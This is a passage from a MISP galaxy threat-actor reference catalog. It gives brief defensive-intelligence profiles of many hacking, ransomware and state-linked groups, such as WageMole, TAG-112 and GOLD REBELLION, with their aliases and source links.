- targets: misp-galaxy:target-information="Pakistan" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Environment" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Academia - University" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Pharmacy" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="IT - Security" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Multi-sector" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Engineering" with estimative-language:likelihood-probability="likely"
- targets: misp-galaxy:sector="Security actors" with estimative-language:likelihood-probability="likely"

Table 18854. Table References

Links
https://www.seqrite.com/blog/operation-cobalt-whisper-targets-industries-hong-kong-pakistan/

EvilWeb

EvilWeb is a pro-Russian hacktivist group created in March 2024 that targets American and European entities using a hack-and-leak method alongside DDoS attacks. The group claims to have obtained data from various high-profile American organizations. EvilWeb announced its participation in the #FreeDurov operation on August 25, 2024, and began executing DDoS and hacking attacks. As of September 3, 2024, their Telegram channel has 1,146 members.

The tag is: *misp-galaxy:threat-actor="EvilWeb"*

Table 18855. Table References

Links
https://blog.checkpoint.com/security/hacktivists-call-for-release-of-telegram-founder-with-freedurov-ddos-campaign/

Evilbyte

EvilByte is a hacktivist group that has conducted several high-profile cyber attacks in 2024, including breaching MyFatoorah's banking system in retaliation against Saudi media 1 and targeting Radio 10 Rosario in Argentina 2. The group has also claimed responsibility for breaching Israeli government websites and leaking data of government employees and intelligence agencies 4.

The tag is: *misp-galaxy:threat-actor="Evilbyte"*

Table 18856. Table References

Links
https://www.cyfirma.com/research/hamas-leadership-assassination-explainer/
https://x.com/MonThreat/status/1851901195201163720
https://x.com/MonThreat/status/1821478543001293136

TOXCAR CYBER TEAM

The Toxcar Cyber Team has claimed responsibility for a data leak involving Mastercard, asserting that the attack targeted the U.S. site and providing screenshots as purported evidence. They have also been linked to the sale of an undetectable ransomware designed to bypass major antivirus software. Additionally, the group has shared the source code of Elusive Stealer, a data theft malware. Their activities highlight a focus on data breaches and malware distribution within the cyber threat landscape.

The tag is: *misp-galaxy:threat-actor="TOXCAR CYBER TEAM"*

Table 18857. Table References

Links
https://socradar.io/mastercard-data-leak-new-fully-undetectable-ransomware-elusive-stealer-source-code-leak-and-more/

SYLHET GANG-SG

SYLHET GANG-SG is a hacktivist group that has targeted critical infrastructure and various entities, including the Central European University and the EU Parliament, often articulating their rationale for attacks. They have been involved in DDoS attacks against Western targets, including the personal website of UK Prime Minister Sunak and the Cyprus police. The group has also declared allegiance to the KillNet 2.0 hacker collective, focusing on threats against allies of Israel.

The tag is: *misp-galaxy:threat-actor="SYLHET GANG-SG"*

Table 18858. Table References

Links
https://blog.checkpoint.com/security/evolving-cyber-dynamics-amidst-the-israel-hamas-conflict/

https://thecyberexpress.com/killnet-2-0-and-sylhet-gang-hackers/

SpaceBears

SpaceBears is a ransomware group believed to be based in Moscow, Russia, that has taken credit for several high-profile cyberattacks while primarily operating as a Data Broker. They currently list eight organizations on their Data Leak Site, focusing on medium to small-sized targets. Their methods suggest a reliance on basic extortion strategies rather than sophisticated malware tactics, with no advanced techniques or indicators of ransomware detected.

The tag is: *misp-galaxy:threat-actor="SpaceBears"*

Table 18859. Table References

Links
https://socradar.io/dark-web-profile-spacebears/

Nam3L3ss

Nam3L3ss is a threat actor who has leaked data from 25 companies, including over 2.8 million lines of Amazon employee data, which was confirmed to be stolen from a third-party service provider. The actor is distributing this data on BreachForums and claims to have numerous unreleased datasets.

The tag is: *misp-galaxy:threat-actor="Nam3L3ss"*

Table 18860. Table References

Links
https://databreaches.net/2024/11/12/amazon-confirms-employee-data-breach-after-vendor-hack/

FrostyNeighbor

FrostyNeighbor is a Belarus-aligned APT group known for conducting influence and disinformation campaigns, particularly targeting Ukraine, Poland, and Lithuania. They have compromised various governmental and private sector entities, including the Polish Anti-Doping Agency, through hack-and-leak operations. The group is believed to collaborate with initial access brokers to exploit high-value targets, utilizing techniques such as zero-day vulnerabilities. Their operations are linked to cyber-enabled disinformation campaigns critical of the North Atlantic Alliance.

The tag is: *misp-galaxy:threat-actor="FrostyNeighbor"*

Table 18861. Table References

Links
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q2-2024-q3-2024.pdf

Tstark

TStark is a threat actor identified by X-Ops, associated with a cluster of devices that executed the bookmark buffer overflow exploit targeting CVE-2020-15069 (T1203). The actor exhibited odd telemetry behavior indicative of intermittent VPN usage, switching between IP addresses geolocated to Hong Kong and Chengdu. Analysis revealed malware samples for Mac OS X and iOS, as well as IFRAME injection code exploiting a WebAssembly vulnerability (T1189). Additionally, TStark was linked to the development of libsophos.so and the deployment of malicious payloads across their devices.

The tag is: *misp-galaxy:threat-actor="Tstark"*

Table 18862. Table References

Links
https://news.sophos.com/en-us/2024/10/31/pacific-rim-timeline/

WageMole

WageMole is a North Korean state-sponsored APT that employs social engineering and technology to secure remote job opportunities in Western countries, leveraging stolen personal data from the Contagious Interview campaign. Threat actors create fake identities, including passports and driver's licenses, and prepare study guides for interviews, often utilizing generative AI for well-structured responses. They target small to mid-sized businesses and utilize job platforms like Upwork and Indeed, while employing automation scripts for account creation. WageMole's activities include sharing code within their group and requesting payments through platforms like PayPal to conceal their identity.

The tag is: *misp-galaxy:threat-actor="WageMole"*

WageMole is also known as:

- Famous Chollima
- UNC5267
- Wagemole
- Nickel Tapestry
- Storm-1877
- Void Dokkaebi
- WaterPlum
- PurpleBravo

Table 18863. Table References

Links
https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/

https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
https://jp.security.ntt/insights_resources/tech_blog/en-waterplum-ottercookie/
https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

APT73

APT73 is a ransomware group that has publicly identified 12 victims and launched its data leak site on April 25th. The DLS bears a striking resemblance to that of LockBit, likely to leverage LockBit's reputation and attract potential affiliates. The rationale for this design mimicry is unclear, but it may be intended to signal operational parity with LockBit to inspire trust among low-level criminals. APT73 was formed by an alleged former LockBit affiliate following law enforcement's "Operation Cronos" in February 2024.

The tag is: *misp-galaxy:threat-actor="APT73"*

APT73 is also known as:

- Eraleig

Table 18864. Table References

Links
https://quointelligence.eu/2024/06/analyzing-shift-in-ransomware-dynamics/

UAC-0194

UAC-0194 is a Russian threat actor linked to the exploitation of the Windows zero-day CVE-2024-43451, which was used in attacks against Ukrainian organizations. The group delivered phishing emails containing .url files that, when interacted with, exploited the vulnerability to facilitate the installation of additional payloads, including the SparkRAT trojan. They also exploited the Server Message Block protocol for NTLM hash exfiltration. CERT-UA has associated UAC-0194's activities with social engineering tactics to convince victims to execute malicious files.

The tag is: *misp-galaxy:threat-actor="UAC-0194"*

Table 18865. Table References

Links
https://www.clearskysec.com/0d-vulnerability-exploited-in-the_wild/

TAG-112

TAG-112 is a Chinese state-sponsored APT that compromised Tibetan websites, including Tibet Post and Gyudmed Tantric University, to deliver Cobalt Strike malware. The group exploited

vulnerabilities in the Joomla CMS to embed malicious JavaScript that spoofed a TLS certificate error, tricking users into downloading a compromised security certificate. TAG-112's infrastructure, concealed using Cloudflare, shows notable overlap with TAG-102, but it employs less sophisticated tactics, relying on Cobalt Strike rather than custom malware. The campaign reflects ongoing cyber-espionage efforts targeting Tibetan entities, likely for information collection and surveillance.

The tag is: *misp-galaxy:threat-actor="TAG-112"*

Table 18866. Table References

Links
https://www.recordedfuture.com/research/china-nexus-tag-112-compromises-tibetan-websites

SilkSpecter

SilkSpecter is a Chinese financially motivated threat actor that orchestrates phishing campaigns targeting e-commerce shoppers, particularly during peak shopping seasons. They exploit legitimate payment processors like Stripe to exfiltrate Cardholder Data and Personally Identifiable Information through convincing fake e-commerce sites created using the oemapps SaaS platform. Their phishing infrastructure relies on Chinese-hosted CDN servers and utilizes deceptive elements such as the "trusttollsvg" icon and a "/homeapi/collect" endpoint to track victim interactions. Analysts have linked SilkSpecter to over 89 IP addresses and more than 4,000 domain names associated with phishing activities, predominantly using .top, .shop, .store, and .vip TLDs.

The tag is: *misp-galaxy:threat-actor="SilkSpecter"*

Table 18867. Table References

Links
https://blog.eclecticiq.com/inside-intelligence-center-financially-motivated-chinese-threat-actor-silkspecter-targeting-black-friday-shoppers

TA455

TA455 is an Iranian APT group targeting the aerospace industry through a campaign known as the "Iranian Dream Job Campaign," utilizing deceptive job offers to lure victims. They employ spearphishing tactics with malicious ZIP files containing the executable "secur32[.]dll" and disguise their C2 communications within the traffic of reputable services like Cloudflare and GitHub. The group intentionally mimics the TTPs of the North Korean Lazarus group to mislead investigators and complicate attribution. Their multi-stage infection strategy enhances the likelihood of success while evading detection.

The tag is: *misp-galaxy:threat-actor="TA455"*

Table 18868. Table References

Links
https://www.clearskysec.com/irdreamjob24/

Kairos

Kairos is an extortion group that emerged with a data-leak site on 13 November 2024, claiming attacks against six organizations, primarily in the US healthcare sector. The group is financially motivated, demanding Bitcoin payments for the secure deletion of stolen files and threatening to leak data if victims do not comply. While no specific TTPs are publicly known, common techniques among extortion groups include phishing and scanning for exposed internet-facing devices. There is a potential link to a user on a Russian-language cybercriminal forum who shares a post-exploitation script, but attribution remains uncertain.

The tag is: *misp-galaxy:threat-actor="Kairos"*

Table 18869. Table References

Links
https://www.cyjax.com/resources/blog/an-elephant-in-kairos-data-leak-site-emerges-for-new-extortion-group/

BrazenBamboo

BrazenBamboo is a Chinese state-affiliated threat actor known for developing the LIGHTSPY, DEEPDATA, and DEEPPOST malware families. Their infrastructure includes capabilities for zero-day exploitation, specifically targeting vulnerabilities like FortiClient, and employs a command-and-control architecture that supports multi-platform operations. Volexity's analysis indicates that BrazenBamboo is a well-resourced entity with a focus on domestic targets, utilizing custom analyst software to manage data collected from their malware. The ongoing development of their malware families is evidenced by the timestamps associated with their latest payloads.

The tag is: *misp-galaxy:threat-actor="BrazenBamboo"*

Table 18870. Table References

Links
https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/

Water Barghest

Water Barghest is a cybercriminal group that has compromised over 20,000 IoT devices by October 2024, monetizing them through a residential proxy marketplace. They automate the entire process from identifying vulnerable devices using n-day and zero-day exploits to deploying Ngioweb malware and selling the compromised assets. Their operations include leveraging Ubiquiti EdgeRouter devices for espionage and utilizing automated scripts to exploit vulnerabilities within minutes of discovery. Water Barghest has maintained a low profile for years, but their activities gained attention due to the deployment of a zero-day vulnerability against Cisco IOS XE devices in October 2023.

The tag is: *misp-galaxy:threat-actor="Water Barghest"*

Table 18871. Table References

Links
https://www.trendmicro.com/en_us/research/24/k/water-barghest.html

Gorilla

Gorilla is a threat-actor operating a DoS-as-a-service service controlled on Telegram.

The tag is: *misp-galaxy:threat-actor="Gorilla"*

Table 18872. Table References

Links
https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2024/gorilla_bericht.html

Storm-2077

TAG-100 is a cyber-espionage APT that targets government and private sector organizations globally, exploiting vulnerabilities in internet-facing devices such as Citrix NetScaler and F5 BIG-IP for initial access. The group employs open-source tools like Pantegana and SparkRAT for persistence and post-exploitation activities, including credential theft and email data exfiltration. TAG-100 has compromised entities in at least ten countries, including two Asia-Pacific intergovernmental organizations, and focuses on sectors like education, finance, and local government. Their operations highlight the challenges of attribution due to the use of off-the-shelf tools and techniques that overlap with other state-sponsored groups.

The tag is: *misp-galaxy:threat-actor="Storm-2077"*

Storm-2077 is also known as:

- TAG-100
- RedNovember

Table 18873. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/11/22/microsoft-shares-latest-intelligence-on-north-korean-and-chinese-threat-actors-at-cyberwarcon/
https://www.recordedfuture.com/research/tag-100-uses-open-source-tools-in-suspected-global-espionage-campaign
https://thehackernews.com/2025/09/chinese-hackers-rednovember-target.html

INDOHAXSEC TEAM

INDOHAXSEC TEAM is an Indonesian group that claims to have developed a web-based version of WannaCry, asserting the ability to encrypt websites and demand Bitcoin as ransom. However, their

technical capabilities remain uncertain, as creating ransomware of this scale requires significant expertise. The group's claims may be exaggerated for attention, and verified evidence is needed to assess their true capabilities.

The tag is: *misp-galaxy:threat-actor="INDOHAXSEC TEAM"*

Table 18874. Table References

Links
https://socradar.io/dark-peep-17-dark-web-hacker-forums-ransomware/

Massgrave

Massgrave is a hacking group that has developed a method to bypass Microsoft's software licensing for Windows and Office, enabling permanent activation of versions from Windows Vista to Windows 11. They are known for creating effective scripts for software activation, which are distributed through an unofficial repository at massgrave.dev. The group claims their exploit supports volume activation via the Key Management Services model and has gained traction within the piracy scene. Reports indicate that their tools may be used by unauthorized individuals, including Microsoft support agents, raising legal and security concerns.

The tag is: *misp-galaxy:threat-actor="Massgrave"*

Table 18875. Table References

Links
https://www.techspot.com/news/105785-mas-developers-achieve-major-breakthrough-windows-office-cracking.html

FunkSec

Funksec is a newly identified extortion group that has claimed 11 victims across various sectors, including media, IT, and education, operating a Tor-based DLS to centralize its ransomware activities. The group advertises a free DDoS tool and may develop its own ransomware binary, indicating significant technical capability. The DLS was likely created in late November to early December 2024, with the first advertisement titled "Funksec Ransomware" posted on 3 December 2024. Currently, there is limited publicly available information on Funksec's TTPs, and it is not known to be associated with any other threat groups.

The tag is: *misp-galaxy:threat-actor="FunkSec"*

Table 18876. Table References

Links
https://www.cyjax.com/resources/blog/take-me-down-to-funksec-town-funksec-ransomware-dls-emergence/

Storm-0940

Storm-0940 is a Chinese threat actor active since at least 2021, known for gaining initial access through password spray and brute-force attacks, as well as exploiting network edge applications. Microsoft has observed Storm-0940 utilizing valid credentials obtained from CovertNetwork-1658's password spray operations, indicating a close operational relationship between the two. Once inside a victim environment, Storm-0940 has been seen leveraging compromised credentials for further malicious activities. Additionally, Storm-0940 has employed botnets, such as Quad7, to facilitate password spraying attacks.

The tag is: *misp-galaxy:threat-actor="Storm-0940"*

Storm-0940 is also known as:

- CovertNetwork-1658
- ORB07

Table 18877. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/

Anonymous KSA

Anonymous KSA is a Saudi hacking group that has executed cyber attacks targeting Indian institutions, including a significant breach of UIDAI's data storage units, leading to access to sensitive information and system disruption. The group claims these actions are in response to India's normalization of ties with Israel and its treatment of Palestinians. They have called for support for the Palestinian cause and accountability for the damage caused by their operations. The group's TTPs include targeting government agencies and leveraging public sentiment to justify their actions.

The tag is: *misp-galaxy:threat-actor="Anonymous KSA"*

Table 18878. Table References

Links
https://x.com/DailyDarkWeb/status/1807783849608286296
https://cybershafarat.com/2024/07/22/hacking-group-anonymous-ksa-a-notorious-threat-actor-is-targeting-india-in-a-series-of-cyber-attacks/

Aggressive Inventory Zombies

Aggressive Inventory Zombies is a threat actor involved in a large-scale phishing and pig-butchering network targeting retail brands and cryptocurrency users. They create fraudulent sites using a popular website template that scrapes product details from legitimate e-commerce

platforms and integrate chat services for phishing. Financial ties to India have been identified, and collaboration with Stark Industries has led to the dismantling of parts of their infrastructure, revealing the network's breadth. AIZ is also linked to Entropy ransomware infections, which were preceded by detections of Cobalt Strike beacons and Dridex malware.

The tag is: *misp-galaxy:threat-actor="Aggressive Inventory Zombies"*

Aggressive Inventory Zombies is also known as:

- AIZ

Table 18879. Table References

Links
https://www.silentpush.com/blog/aiz-retail-crypto-phishing/

UNC2465

UNC2465 is a threat actor known for deploying the SMOKEDHAM .NET backdoor and DARKSIDE ransomware, utilizing TTPs such as phishing, Trojanized software installers, and supply chain attacks. They have employed the NGROK utility to expose internal services and facilitate lateral movement within victim environments. UNC2465 has also leveraged tools like UltraVNC, Cobalt Strike BEACON, and conducted credential harvesting via LSASS memory dumping. Their operations have included extortion tactics through a leaks website over TOR, applying pressure on victims by releasing stolen data.

The tag is: *misp-galaxy:threat-actor="UNC2465"*

Table 18880. Table References

Links
https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations
https://cloud.google.com/blog/topics/threat-intelligence/darkside-affiliate-supply-chain-software-compromise
https://cloud.google.com/blog/topics/threat-intelligence/burrowing-your-way-into-vpns

LIMINAL PANDA

LIMINAL PANDA is a China-nexus APT that targets telecommunications entities, employing custom malware and publicly available tools for covert access, C2, and data exfiltration. The adversary demonstrates extensive knowledge of telecom networks, utilizing GSM protocols to retrieve mobile subscriber information and call metadata. LIMINAL PANDA exploits trust relationships and security gaps between providers to access core infrastructure, indicating a focus on SIGINT collection rather than financial gain. Their intrusion activity has primarily affected telecom providers in southern Asia and Africa, with potential for broader targeting based on network configurations.

The tag is: *misp-galaxy:threat-actor="LIMINAL PANDA"*

Table 18881. Table References

Links
https://www.crowdstrike.com/en-us/blog/liminal-panda-telecom-sector-threats/

Altoufan Team

ALTOUFAN TEAM is a politically motivated hacktivist group with anti-Zionism, anti-monarchy, and pro-14-February movement sentiments. They have targeted government agencies and organizations in Bahrain and Israel, claiming to support political causes in the region. The group has employed techniques such as credential theft to compromise systems, as demonstrated by their attack on Bahrain's Social Insurance Organization. ALTOUFAN maintains a presence on social media platforms to disseminate their messages and showcase their activities.

The tag is: *misp-galaxy:threat-actor="Altoufan Team"*

Table 18882. Table References

Links
https://blog.cyble.com/2023/02/16/altoufan-team-targets-the-middle-east/

UAC-0185

UAC-0185 has been active since at least 2022, primarily targeting Ukrainian defense organizations through credential theft via messaging apps like Signal, Telegram, and WhatsApp, as well as military systems such as DELTA, TENETA, and Kropyva. The group employs phishing attacks, often impersonating the Ukrainian Union of Industrialists and Entrepreneurs (UUIE), to gain unauthorized access to the PCs of defense sector employees. They utilize custom tools, including MESHAGENT and UltraVNC, to facilitate their operations. Their activities are mapped to MITRE ATT&CK, focusing on tactics related to credential theft and remote access.

The tag is: *misp-galaxy:threat-actor="UAC-0185"*

UAC-0185 is also known as:

- UNC4221

Table 18883. Table References

Links
https://cert.gov.ua/article/6281632

Wassonite

WASSONITE is a North Korea-linked APT that has targeted industrial sectors, including electric generation, nuclear energy, manufacturing, and research entities in India, South Korea, and Japan since at least 2018. The group employs DTrack RAT for remote access, Mimikatz for credential capture, and various system tools for lateral movement and file transfers. WASSONITE has been

observed using nuclear energy-themed spear phishing lures to deploy the AppleSeed backdoor, which can take screenshots, log keystrokes, and execute commands from a C2 server. Their operations focus on initial access, reconnaissance, and data collection without demonstrating disruptive capabilities.

The tag is: *misp-galaxy:threat-actor="Wassonite"*

Table 18884. Table References

Links
https://www.dragos.com/blog/2022-ics-ot-threat-landscape-recap-what-to-watch-for-this-year/
https://www.dragos.com/threat/wassonite/

Natohub

Natohub is a hacker who claimed to have stolen 42,000 documents from the UN's International Civil Aviation Organization and is offering the data for sale on underground forums. The compromised documents allegedly contain personal records of ICAO staff and others associated with the agency. While ICAO is investigating the potential breach, Natohub has also made unverified claims about accessing personal data on thousands of UN delegates. The actor's track record of leaks is limited, raising questions about the credibility of their assertions.

The tag is: *misp-galaxy:threat-actor="Natohub"*

Table 18885. Table References

Links
https://cisoseries.com/cyber-security-news-cyber-trust-label-uk-deepfake-laws-treasury-attack-details/

CoughingDown

CoughingDown is a threat group attributed to various cyber campaigns, including the deployment of the EAGERBEE backdoor, which utilizes service manipulation and privilege escalation techniques. The group has been linked to malware infrastructure that abuses legitimate services like MSDTC, IKEEXT, and SessionEnv to load malicious DLLs, including oci.dll. Analysis of supply-chain attacks, particularly involving Trojanized packages, has revealed similarities between CoughingDown malware and post-compromise tools used in these incidents. Evidence such as consistent service creation and C2 domain overlap further supports the connection between EAGERBEE and CoughingDown.

The tag is: *misp-galaxy:threat-actor="CoughingDown"*

Table 18886. Table References

Links
https://securelist.com/eagerbee-backdoor/115175/

EC2 Grouper

EC2 Grouper is a prolific threat actor known for leveraging AWS tools for PowerShell to conduct automated attacks in cloud environments. They typically utilize the CreateSecurityGroup API to establish remote access and exhibit a consistent security group naming convention. Credential acquisition is believed to stem from compromised cloud access keys, often sourced from public code repositories. Notably, their activities do not include calls to AuthorizeSecurityGroupIngress, suggesting a selective approach to escalation.

The tag is: *misp-galaxy:threat-actor="EC2 Grouper"*

Table 18887. Table References

Links
https://www.fortinet.com/blog/threat-research/catching-ec2-grouper-no-indicators-required

Codefinger

Codefinger is a ransomware group that targets Amazon S3 buckets by exploiting AWS's Server-Side Encryption with Customer Provided Keys to encrypt victim data. They utilize compromised AWS credentials to gain access and demand Bitcoin ransoms for the decryption keys, threatening to delete files if negotiations fail. The group has been observed abusing publicly disclosed AWS keys with permissions to read and write S3 objects, making recovery impossible without their cooperation. Halcyon has documented multiple incidents linked to Codefinger's data extortion campaign against organizations with unsecured infrastructure.

The tag is: *misp-galaxy:threat-actor="Codefinger"*

Table 18888. Table References

Links
https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c

Operation DRBControl

Operation DRBControl is a cyberespionage campaign targeting gambling companies in Southeast Asia, first identified in 2019. The operation involves the use of HyperBro malware and SysUpdate variants, with evidence of customer database and source code exfiltration. The threat actor has employed domain spoofing for command and control and has shown a consistent interest in the gambling industry. Trend Micro's analysis linked multiple tools and malware families to this campaign, indicating a sophisticated and evolving threat landscape.

The tag is: *misp-galaxy:threat-actor="Operation DRBControl"*

Table 18889. Table References

Links

https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia

Belsen Group

The Belsen Group has exploited the CVE-2022-40684 vulnerability in Fortinet devices to compromise over 15,000 FortiGate firewalls, releasing detailed configurations and plaintext VPN credentials. Their leaked data, organized by country and IP address, primarily consists of configurations from FortiOS 7.0.6 and 7.2.1, which were the last vulnerable versions before patches were issued. Security researcher Kevin Beaumont confirmed that the group leveraged this vulnerability to gain unauthorized access and warned of potential exploitation of CVE-2024-55591 by similar threat actors. Fortinet has stated that the leaked data originates from older campaigns and not from any recent incidents.

The tag is: *misp-galaxy:threat-actor="Belsen Group"*

Table 18890. Table References

Links
https://www.fortinet.com/blog/psirt-blogs/analysis-of-threat-actor-data-posting
https://socradar.io/fortigate-firewall-configs-cve-2022-40684-exploitation/

ExCobalt

ExCobalt is an APT group that has been active since at least 2016 and is believed to be linked to the notorious Cobalt Gang. The group primarily targets Russian organizations across sectors—including metallurgy, telecommunications, mining, information technology, government, and software development by exploiting supply chain weaknesses and compromised contractors for initial access. ExCobalt's toolkit features a custom Golang-based backdoor, GoRed, which enables remote command execution, credential harvesting, and detailed system reconnaissance, while the group also employs established tools such as Spark RAT, Mimikatz, and multiple Linux privilege escalation exploits. Researchers note that ExCobalt continually evolves its tactics and even modifies standard utilities to bypass security controls and maintain persistent access, underscoring its commitment to sophisticated cyberespionage and data theft operations.

The tag is: *misp-galaxy:threat-actor="ExCobalt"*

Table 18891. Table References

Links
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/excobalt-gored-the-hidden-tunnel-technique

UNC3973

UNC3973 is a financially motivated threat actor tracked by Mandiant, distinguished from the broader BASTA ransomware ecosystem (primarily tracked as UNC4393) due to its unique

operational characteristics and TTPs. This actor has demonstrated a specific focus on supply chain compromises, as evidenced by their June campaign targeting credit unions in western Canada via a compromised managed service provider (MSP). UNC3973 leverages unauthorized service accounts with elevated privileges, specifically domain administrator accounts shared between the compromised MSP and the target organizations, to gain initial access.This actor's post-exploitation activity includes attempts to disable security controls and deploy the SYSTEMBC tunneler for command and control (C2) communication, followed by attempts to deploy BASTA ransomware. While their attempts to deploy both SYSTEMBC and BASTA have been observed, these were thankfully thwarted by endpoint security solutions in observed instances. The targeted, supply chain-enabled nature of UNC3973's intrusions, coupled with its use of privileged shared accounts and attempts at deploying BASTA, all suggest that it is an exclusive group, perhaps even affiliates working closely with or possibly operating under the direct control, BASTA ransomware operators. This group's ability to exploit centralized access points, like MSPs, represents a significant threat to organizations reliant on third-party providers.

The tag is: *misp-galaxy:threat-actor="UNC3973"*

Table 18892. Table References

Links
https://services.google.com/fh/files/misc/m_trends_2023_report.pdf
https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight

Storm-0826

Storm-0826 is a financially motivated cybercriminal group operating as an affiliate within the Black Basta ransomware-as-a-service (RaaS) ecosystem. This actor's primary known method of obtaining initial access is through handoffs from Storm-0464, a known distributor of the Qakbot malware

The tag is: *misp-galaxy:threat-actor="Storm-0826"*

Table 18893. Table References

Links
https://www.youtube.com/watch?v=U7p0J8aMZhM&t=193s
https://applied-gai-in-security.ghost.io/security-copilot-promptbook-threat-actor-profile/

STAC5143

STAC5143 is a threat actor group tracked by Sophos, notable for its sophisticated use of Microsoft Office 365's legitimate services to conduct ransomware and data extortion campaigns. Unlike FIN7, which typically targets larger organizations through phishing and malicious Google Ads, STAC5143 focuses on smaller victims across diverse business sectors. Their operations begin with overwhelming targeted individuals with email bombing, followed by Microsoft Teams messages impersonating tech support to initiate a remote screen control session. Utilizing Microsoft's Quick Assist or direct Teams screen sharing, they deploy malware, including Java Archive (JAR) files and Python-based backdoors, from external SharePoint file stores. This cluster exploits legitimate

services within the Microsoft Office 365 platform, using a Java-based proxy to execute PowerShell commands and download malicious payloads. While employing publicly available tools like RPivot, their obfuscation methods and the use of side-loaded DLLs for command and control, combined with the deployment of Black Basta ransomware in one instance, indicate a sophisticated and evolving threat actor adapting known techniques for their specific objectives.

The tag is: *misp-galaxy:threat-actor="STAC5143"*

Table 18894. Table References

Links
https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/

GOLD REBELLION

GOLD REBELLION is a financially motivated cybercriminal threat group that operates the Black Basta name-and-shame ransomware. The group posted its first victim to its leak site in April 2022 and has continued to publish victim names at a rate of around 15 a month since then. GOLD REBELLION has not openly advertised or appeared to recruit for an affiliate program but the variety of tactics, techniques and procedures (TTP) observed in Black Basta intrusions suggests that multiple individuals are engaged in the ransomware scheme.Several security vendors and independent researchers have suggested the distributors of Black Basta may be former affiliates of GOLD ULRICK's Conti operation. Technical artifacts analyzed by CTU researchers suggest that Black Basta has been under development since at least early February 2022, several weeks before extensive public leaks detailed GOLD ULRICK's Conti operation. In November 2022, researchers at SentinelOne linked custom tooling used by GOLD REBELLION to the GOLD NIAGARA (FIN7) threat group. CTU researchers have not made independent observations corroborating a relationship between these threat groups or any others.GOLD REBELLION appear to have been a key customer of GOLD LAGOON's Qakbot: CTU researchers observed multiple incidents where Black Basta was distributed through it as an initial access vector (IAV), leading to Cobalt Strike and further lateral movement into the victim network. Following the takedown of Qakbot in August 2023, GOLD REBELLION explored new methods of delivery, including DarkGate and Pikabot. In one incident, CTU researchers observed a threat actor gain access to a victim network through a managed security services provider (MSSP). In October 2024, GOLD REBELLION likely exploited a vulnerability in a Sonic Wall VPN device for access. Also in 2024, CTU researchers observed multiple instances of the group using social engineering to convince victims to download remote management and monitoring tools like AnyDesk and Quick Assist. After spamming inboxes with multiple emails, the threat actors approached the affected users via Teams, purporting to be IT Support or Help Desk employees offering assistance with email inbox issues.Other tools members of the group have used include the SystemBC back connect malware, PsExec for remote execution, RDP for lateral movement, batch files to delete their own tools and disable anti-virus programs for defense evasion, and both Rclone and MegaSync for data exfiltration.

The tag is: *misp-galaxy:threat-actor="GOLD REBELLION"*

GOLD REBELLION is also known as:

- WANDERING SPIDER
- White Dev 115
- Dark Scorpius

Table 18895. Table References

Links
https://www.secureworks.com/research/threat-profiles/gold-rebellion
https://www.secureworks.com/-/media/Files/US/Reports/state%20of%20the%20threat/secureworks-state-of-the-threat-report-2024.ashx
https://www.secureworks.com/-/media/files/us/reports/secureworks-learning-from-incident-response-2022.pdf
https://www.secureworks.com/-/media/files/us/reports/ir-quarterly-reports/secureworks-learning-from-ir-jan-mar-2023.pdf
https://www.secureworks.com/-/media/files/us/reports/state-of-the-threat/secureworks-se-2023-sott-report.pdf
https://unit42.paloaltonetworks.com/threat-actor-groups-tracked-by-palo-alto-networks-unit-42/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/pdf/2022-year-in-retrospect-report.pdf
https://www.crowdstrike.com/adversaries/wandering-spider/
https://go.crowdstrike.com/rs/281-OBQ-266/images/ebook-modern-adversaries-and-evasion-techniques-2023.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/CrowdStrikeGlobalThreatReport2025.pdf

JavaGhost

JavaGhost is a threat actor group that has targeted cloud environments, particularly AWS, for phishing campaigns without engaging in data theft for extortion. They exploit overly permissive IAM permissions and utilize long-term access keys to gain initial access, employing the GetFederationToken API to acquire temporary credentials for console access. JavaGhost has demonstrated advanced evasion techniques, avoiding common detection methods by not using the GetCallerIdentity API call. Their activities generate detectable logging footprints in CloudTrail, allowing organizations to identify and respond to their tactics.

The tag is: *misp-galaxy:threat-actor="JavaGhost"*

Table 18896. Table References

Links
https://unit42.paloaltonetworks.com/javaghost-cloud-phishing/

Angry Likho

Angry Likho is an APT group that has been active since 2023, primarily targeting large organizations and government agencies in Russia and Belarus. Their attacks typically involve spear-phishing emails with malicious attachments, such as RAR archives, and utilize a known payload, the Lumma stealer, for data exfiltration. The group employs a compact infrastructure and has been linked to espionage activities, particularly in sectors like aviation and pharmaceuticals. Their operations have shown a focus on collecting sensitive information, including cryptowallet files and user credentials.

The tag is: *misp-galaxy:threat-actor="Angry Likho"*

Angry Likho is also known as:

- Sticky Werewolf

Table 18897. Table References

Links
https://securelist.com/angry-likho-apt-attacks-with-lumma-stealer/115663/
https://www.morphisec.com/blog/sticky-werewolfs-aviation-attacks/

PlushDaemon

